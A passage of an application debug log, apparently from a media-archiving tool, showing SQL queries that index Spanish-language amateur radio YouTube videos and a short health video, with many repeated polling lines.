?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Como solucionar un problema de sobretensión en el cargador (en la bañera como se le dice por aquí) del walkie Retevis RT3. Es un modelo con bastantes años pero no había sido consciente del problema hasta ahora.\n\nEnlace pagina con instrucciones detalladas de la modificación a la base de carga del Retevis https://www.qsl.net/dl4yhf/RT3/#RT3_LiIon_Charger\n\nEnlace canal Podcast CQ en Frecuencia (EA1IVB): \nhttps://cqenfrecuencia.com\nhttps://www.ivoox.com/podcast-cq-frecuencia_sq_f11818436_1.html\nhttps://open.spotify.com/show/1Ij2tF3SHuVgx21jWns98x?si=4bbd36a1148a40c5\nhttps://www.youtube.com/channel/UC2Py-FvXz8aYV5ZNqXfiC_g\n\n#retevis #batería #radioafición #hamradio #reparación #diyelectronics #dmr #cqenfrecuencia #podcast\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:57 - Intro Canal\n01:15 - El problema\n05:30 - La web de DL4YHF\n06:38 - La solución\n09:03 - Reparación\n12:25 - Verificando\n13:23 - Podcast CQ en Frecuencia\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "110 - MODIFICANDO CARGADOR RETEVIS DMR RT3 REPARACION SOBRETENSION", "c0b1b346-d2ec-4625-b500-8095840b46d1", 885, false, "-nfWuAxw9LU", "https://www.youtube.com/watch?v=-nfWuAxw9LU", 71, "/downloads/music/ea3grn/110 - MODIFICANDO CARGADOR RETEVIS DMR RT3 REPARACION SOBRETENSION.m4a", false, false, false, 3, [], 98, ~U[2023-06-29 14:44:48Z], ~U[2026-02-07 21:57:16Z], ~U[2026-02-07 21:57:16Z], "Como solucionar un problema de sobretensión en el cargador (en la bañera como se le dice por aquí) del walkie Retevis RT3. Es un modelo con bastantes años pero no había sido consciente del problema hasta ahora.\n\nEnlace pagina con instrucciones detalladas de la modificación a la base de carga del Retevis https://www.qsl.net/dl4yhf/RT3/#RT3_LiIon_Charger\n\nEnlace canal Podcast CQ en Frecuencia (EA1IVB): \nhttps://cqenfrecuencia.com\nhttps://www.ivoox.com/podcast-cq-frecuencia_sq_f11818436_1.html\nhttps://open.spotify.com/show/1Ij2tF3SHuVgx21jWns98x?si=4bbd36a1148a40c5\nhttps://www.youtube.com/channel/UC2Py-FvXz8aYV5ZNqXfiC_g\n\n#retevis #batería #radioafición #hamradio #reparación #diyelectronics #dmr #cqenfrecuencia #podcast\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:57 - Intro Canal\n01:15 - El problema\n05:30 - La web de DL4YHF\n06:38 - La solución\n09:03 - Reparación\n12:25 - Verificando\n13:23 - Podcast CQ en Frecuencia\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "110 - MODIFICANDO CARGADOR RETEVIS DMR RT3 REPARACION SOBRETENSION", 885, false, "-nfWuAxw9LU", "https://www.youtube.com/watch?v=-nfWuAxw9LU", "/downloads/music/ea3grn/110 - MODIFICANDO CARGADOR RETEVIS DMR RT3 REPARACION SOBRETENSION.m4a", false, 3, ~U[2023-06-29 14:44:48Z]] 22:57:16.948 [debug] QUERY OK source="sources" db=0.4ms idle=878.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:57:16.948 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:57:16.949 [debug] QUERY OK source="media_items" db=0.4ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1445] 22:57:16.949 [debug] Current batch of media processed. Will check again in 1000ms 22:57:17.865 [debug] Current batch of media processed. Will check again in 1000ms 22:57:17.950 [debug] Current batch of media processed. Will check again in 1000ms 22:57:18.866 [debug] Current batch of media processed. Will check again in 1000ms 22:57:18.951 [debug] Current batch of media processed. Will check again in 1000ms 22:57:19.867 [debug] Current batch of media processed. Will check again in 1000ms 22:57:19.952 [debug] Current batch of media processed. Will check again in 1000ms 22:57:20.868 [debug] Current batch of media processed. Will check again in 1000ms 22:57:20.953 [debug] Current batch of media processed. Will check again in 1000ms 22:57:21.306 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:21.869 [debug] Current batch of media processed. Will check again in 1000ms 22:57:21.954 [debug] Current batch of media processed. Will check again in 1000ms 22:57:22.870 [debug] Current batch of media processed. Will check again in 1000ms 22:57:22.955 [debug] Current batch of media processed. Will check again in 1000ms 22:57:23.871 [debug] Current batch of media processed. Will check again in 1000ms 22:57:23.956 [debug] Current batch of media processed. Will check again in 1000ms 22:57:24.872 [debug] Current batch of media processed. Will check again in 1000ms 22:57:24.957 [debug] Current batch of media processed. Will check again in 1000ms 22:57:25.873 [debug] Current batch of media processed. Will check again in 1000ms 22:57:25.958 [debug] Current batch of media processed. Will check again in 1000ms 22:57:26.874 [debug] Current batch of media processed. Will check again in 1000ms 22:57:26.959 [debug] Current batch of media processed. Will check again in 1000ms 22:57:27.875 [debug] Current batch of media processed. Will check again in 1000ms 22:57:27.960 [debug] Current batch of media processed. Will check again in 1000ms 22:57:28.876 [debug] Current batch of media processed. Will check again in 1000ms 22:57:28.961 [debug] Current batch of media processed. Will check again in 1000ms 22:57:29.877 [debug] Current batch of media processed. Will check again in 1000ms 22:57:29.962 [debug] Current batch of media processed. Will check again in 1000ms 22:57:30.878 [debug] Current batch of media processed. Will check again in 1000ms 22:57:30.963 [debug] Current batch of media processed. Will check again in 1000ms 22:57:31.879 [debug] Current batch of media processed. Will check again in 1000ms 22:57:31.964 [debug] Current batch of media processed. Will check again in 1000ms 22:57:32.880 [debug] Current batch of media processed. Will check again in 1000ms 22:57:32.965 [debug] Current batch of media processed. Will check again in 1000ms 22:57:33.881 [debug] Current batch of media processed. Will check again in 1000ms 22:57:33.966 [debug] Current batch of media processed. Will check again in 1000ms 22:57:34.882 [debug] Current batch of media processed. Will check again in 1000ms 22:57:34.967 [debug] Current batch of media processed. Will check again in 1000ms 22:57:35.883 [debug] Current batch of media processed. Will check again in 1000ms 22:57:35.968 [debug] Current batch of media processed. Will check again in 1000ms 22:57:36.884 [debug] Current batch of media processed. Will check again in 1000ms 22:57:36.969 [debug] Current batch of media processed. Will check again in 1000ms 22:57:37.885 [debug] Current batch of media processed. Will check again in 1000ms 22:57:37.970 [debug] Current batch of media processed. Will check again in 1000ms 22:57:38.886 [debug] Current batch of media processed. Will check again in 1000ms 22:57:38.971 [debug] Current batch of media processed. Will check again in 1000ms 22:57:39.887 [debug] Current batch of media processed. Will check again in 1000ms 22:57:39.972 [debug] Current batch of media processed. Will check again in 1000ms 22:57:40.888 [debug] Current batch of media processed. Will check again in 1000ms 22:57:40.973 [debug] Current batch of media processed. Will check again in 1000ms 22:57:41.889 [debug] Current batch of media processed. Will check again in 1000ms 22:57:41.974 [debug] Current batch of media processed. Will check again in 1000ms 22:57:42.890 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 3: EXPOSOMA: Descubre el Exposoma: el libro de nuestras interacciones vitales. Exploramos el exposoma general, factores ambientales compartidos y cómo tu código postal impacta drásticamente tu longevidad. ¡Un análisis revelador! #Exposoma #SaludAmbiental #CódigoPostal #Longevidad #FactoresAmbientales #Bienestar #CalidadDeVida #MedioAmbiente #InvestigaciónCientífica #SaludPública", "duration" => 49, "filename" => "/downloads/music/IA mí QUÉ/¿Tu Código Postal Acorta Tu Vida? ¡La Cruda Verdad!.m4a", "id" => "Aam0NimxHec", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Aam0NimxHec", "playlist_index" => 16, "timestamp" => 1747763918, "title" => "¿Tu Código Postal Acorta Tu Vida? ¡La Cruda Verdad!", "upload_date" => "20250520"} 22:57:42.891 [debug] QUERY OK source="sources" db=0.4ms idle=772.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:57:42.892 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=111.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:57:42.893 [debug] QUERY OK source="media_items" db=1.5ms idle=112.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-20 17:58:38Z], 2] 22:57:42.897 [debug] QUERY OK source="media_items" db=2.8ms idle=114.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 3: EXPOSOMA: Descubre el Exposoma: el libro de nuestras interacciones vitales. Exploramos el exposoma general, factores ambientales compartidos y cómo tu código postal impacta drásticamente tu longevidad. ¡Un análisis revelador! #Exposoma #SaludAmbiental #CódigoPostal #Longevidad #FactoresAmbientales #Bienestar #CalidadDeVida #MedioAmbiente #InvestigaciónCientífica #SaludPública", "¿Tu Código Postal Acorta Tu Vida? ¡La Cruda Verdad!", "68a42367-cbf3-4fcb-ba10-55ade2d844ba", 49, false, "Aam0NimxHec", "https://www.youtube.com/shorts/Aam0NimxHec", 16, "/downloads/music/IA mí QUÉ/¿Tu Código Postal Acorta Tu Vida? ¡La Cruda Verdad!.m4a", false, false, true, 2, [], 96, ~U[2025-05-20 17:58:38Z], ~U[2026-02-07 21:57:42Z], ~U[2026-02-07 21:57:42Z], "PARTE 3: EXPOSOMA: Descubre el Exposoma: el libro de nuestras interacciones vitales. Exploramos el exposoma general, factores ambientales compartidos y cómo tu código postal impacta drásticamente tu longevidad. ¡Un análisis revelador! #Exposoma #SaludAmbiental #CódigoPostal #Longevidad #FactoresAmbientales #Bienestar #CalidadDeVida #MedioAmbiente #InvestigaciónCientífica #SaludPública", "¿Tu Código Postal Acorta Tu Vida? ¡La Cruda Verdad!", 49, false, "Aam0NimxHec", "https://www.youtube.com/shorts/Aam0NimxHec", "/downloads/music/IA mí QUÉ/¿Tu Código Postal Acorta Tu Vida? ¡La Cruda Verdad!.m4a", true, 2, ~U[2025-05-20 17:58:38Z]] 22:57:42.898 [debug] QUERY OK source="sources" db=1.1ms idle=117.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:57:42.900 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.2ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:57:42.902 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1394] 22:57:42.902 [debug] Current batch of media processed. Will check again in 1000ms 22:57:42.975 [debug] Current batch of media processed. Will check again in 1000ms 22:57:43.902 [debug] Current batch of media processed. Will check again in 1000ms 22:57:43.976 [debug] Current batch of media processed. Will check again in 1000ms 22:57:44.903 [debug] Current batch of media processed. Will check again in 1000ms 22:57:44.977 [debug] Current batch of media processed. Will check again in 1000ms 22:57:45.904 [debug] Current batch of media processed. Will check again in 1000ms 22:57:45.978 [debug] Current batch of media processed. Will check again in 1000ms 22:57:46.905 [debug] Current batch of media processed. Will check again in 1000ms 22:57:46.979 [debug] Current batch of media processed. Will check again in 1000ms 22:57:47.906 [debug] Current batch of media processed. Will check again in 1000ms 22:57:47.980 [debug] Current batch of media processed. Will check again in 1000ms 22:57:48.907 [debug] Current batch of media processed. Will check again in 1000ms 22:57:48.981 [debug] Current batch of media processed. Will check again in 1000ms 22:57:49.908 [debug] Current batch of media processed. Will check again in 1000ms 22:57:49.982 [debug] Current batch of media processed. Will check again in 1000ms 22:57:50.909 [debug] Current batch of media processed. Will check again in 1000ms 22:57:50.983 [debug] Current batch of media processed. Will check again in 1000ms 22:57:51.308 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:51.910 [debug] Current batch of media processed. Will check again in 1000ms 22:57:51.989 [debug] Current batch of media processed. Will check again in 1000ms 22:57:52.911 [debug] Current batch of media processed. Will check again in 1000ms 22:57:52.989 [debug] Current batch of media processed. Will check again in 1000ms 22:57:53.912 [debug] Current batch of media processed. Will check again in 1000ms 22:57:53.990 [debug] Current batch of media processed. Will check again in 1000ms 22:57:54.913 [debug] Current batch of media processed. Will check again in 1000ms 22:57:54.991 [debug] Current batch of media processed. Will check again in 1000ms 22:57:55.914 [debug] Current batch of media processed. Will check again in 1000ms 22:57:55.992 [debug] Current batch of media processed. Will check again in 1000ms 22:57:56.915 [debug] Current batch of media processed. Will check again in 1000ms 22:57:56.993 [debug] Current batch of media processed. Will check again in 1000ms 22:57:57.916 [debug] Current batch of media processed. Will check again in 1000ms 22:57:57.994 [debug] Current batch of media processed. Will check again in 1000ms 22:57:58.917 [debug] Current batch of media processed. Will check again in 1000ms 22:57:58.995 [debug] Current batch of media processed. Will check again in 1000ms 22:57:59.918 [debug] Current batch of media processed. Will check again in 1000ms 22:57:59.996 [debug] Current batch of media processed. Will check again in 1000ms 22:58:00.140 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:00.919 [debug] Current batch of media processed. Will check again in 1000ms 22:58:00.997 [debug] Current batch of media processed. Will check again in 1000ms 22:58:01.920 [debug] Current batch of media processed. Will check again in 1000ms 22:58:01.998 [debug] Current batch of media processed. Will check again in 1000ms 22:58:02.921 [debug] Current batch of media processed. Will check again in 1000ms 22:58:02.999 [debug] Current batch of media processed. Will check again in 1000ms 22:58:03.922 [debug] Current batch of media processed. Will check again in 1000ms 22:58:04.000 [debug] Current batch of media processed. Will check again in 1000ms 22:58:04.923 [debug] Current batch of media processed. Will check again in 1000ms 22:58:05.001 [debug] Current batch of media processed. Will check again in 1000ms 22:58:05.924 [debug] Current batch of media processed. Will check again in 1000ms 22:58:06.002 [debug] Current batch of media processed. Will check again in 1000ms 22:58:06.925 [debug] Current batch of media processed. Will check again in 1000ms 22:58:07.003 [debug] Current batch of media processed. Will check again in 1000ms 22:58:07.926 [debug] Current batch of media processed. Will check again in 1000ms 22:58:08.004 [debug] Current batch of media processed. Will check again in 1000ms 22:58:08.927 [debug] Current batch of media processed. Will check again in 1000ms 22:58:09.005 [debug] Current batch of media processed. Will check again in 1000ms 22:58:09.928 [debug] Current batch of media processed. Will check again in 1000ms 22:58:10.006 [debug] Current batch of media processed. Will check again in 1000ms 22:58:10.929 [debug] Current batch of media processed. Will check again in 1000ms 22:58:11.007 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Un cable barato para vuestros Yaesu FT2D/FT3D/FT5D\n\nEnlace de aliexpress: https://es.aliexpress.com/item/1005005260304479.html\n\nContenido del video\n\n00:00 - Inicio\n00:54 - Intro Canal\n01:12- El problema\n04:40 - El cable de aliexpress\n05:40 - Instalando\n07:40 - probando con FT3D\n12:30 - Conclusiones\n\n#scu19 #scu39 #aliexpress #yaesu #ft2d #ft3d #ft5d #cable #usb #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 858, "filename" => "/downloads/music/ea3grn/109 - UN CABLE BARATO PARA WALKIES YAESU FT2 FT3 FT5 ALIEXPRESS.m4a", "id" => "-ooBf11AwAI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-ooBf11AwAI", "playlist_index" => 72, "timestamp" => 1686844800, "title" => "109 - UN CABLE BARATO PARA WALKIES YAESU FT2 FT3 FT5 ALIEXPRESS", "upload_date" => "20230615"} 22:58:11.008 [debug] QUERY OK source="sources" db=0.5ms idle=1228.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:58:11.009 [debug] QUERY OK source="sources" db=0.4ms idle=837.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:58:11.010 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=230.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-15 16:00:00Z], 3] 22:58:11.012 [debug] QUERY OK source="media_items" db=1.0ms idle=231.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un cable barato para vuestros Yaesu FT2D/FT3D/FT5D\n\nEnlace de aliexpress: https://es.aliexpress.com/item/1005005260304479.html\n\nContenido del video\n\n00:00 - Inicio\n00:54 - Intro Canal\n01:12- El problema\n04:40 - El cable de aliexpress\n05:40 - Instalando\n07:40 - probando con FT3D\n12:30 - Conclusiones\n\n#scu19 #scu39 #aliexpress #yaesu #ft2d #ft3d #ft5d #cable #usb #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "109 - UN CABLE BARATO PARA WALKIES YAESU FT2 FT3 FT5 ALIEXPRESS", "6f7b25d5-ee09-462f-98ea-f0688dcb6480", 858, false, "-ooBf11AwAI", "https://www.youtube.com/watch?v=-ooBf11AwAI", 72, "/downloads/music/ea3grn/109 - UN CABLE BARATO PARA WALKIES YAESU FT2 FT3 FT5 ALIEXPRESS.m4a", false, false, false, 3, [], 98, ~U[2023-06-15 16:00:00Z], ~U[2026-02-07 21:58:11Z], ~U[2026-02-07 21:58:11Z], "Un cable barato para vuestros Yaesu FT2D/FT3D/FT5D\n\nEnlace de aliexpress: https://es.aliexpress.com/item/1005005260304479.html\n\nContenido del video\n\n00:00 - Inicio\n00:54 - Intro Canal\n01:12- El problema\n04:40 - El cable de aliexpress\n05:40 - Instalando\n07:40 - probando con FT3D\n12:30 - Conclusiones\n\n#scu19 #scu39 #aliexpress #yaesu #ft2d #ft3d #ft5d #cable #usb #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "109 - UN CABLE BARATO PARA WALKIES YAESU FT2 FT3 FT5 ALIEXPRESS", 858, false, "-ooBf11AwAI", "https://www.youtube.com/watch?v=-ooBf11AwAI", "/downloads/music/ea3grn/109 - UN CABLE BARATO PARA WALKIES YAESU FT2 FT3 FT5 ALIEXPRESS.m4a", false, 3, ~U[2023-06-15 16:00:00Z]] 22:58:11.012 [debug] QUERY OK source="sources" db=0.4ms idle=232.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:58:11.013 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:58:11.014 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1447] 22:58:11.014 [debug] Current batch of media processed. Will check again in 1000ms 22:58:11.930 [debug] Current batch of media processed. Will check again in 1000ms 22:58:12.015 [debug] Current batch of media processed. Will check again in 1000ms 22:58:12.931 [debug] Current batch of media processed. Will check again in 1000ms 22:58:13.016 [debug] Current batch of media processed. Will check again in 1000ms 22:58:13.932 [debug] Current batch of media processed. Will check again in 1000ms 22:58:14.017 [debug] Current batch of media processed. Will check again in 1000ms 22:58:14.933 [debug] Current batch of media processed. Will check again in 1000ms 22:58:15.018 [debug] Current batch of media processed. Will check again in 1000ms 22:58:15.934 [debug] Current batch of media processed. Will check again in 1000ms 22:58:16.019 [debug] Current batch of media processed. Will check again in 1000ms 22:58:16.935 [debug] Current batch of media processed. Will check again in 1000ms 22:58:17.020 [debug] Current batch of media processed. Will check again in 1000ms 22:58:17.936 [debug] Current batch of media processed. Will check again in 1000ms 22:58:18.021 [debug] Current batch of media processed. Will check again in 1000ms 22:58:18.937 [debug] Current batch of media processed. Will check again in 1000ms 22:58:19.022 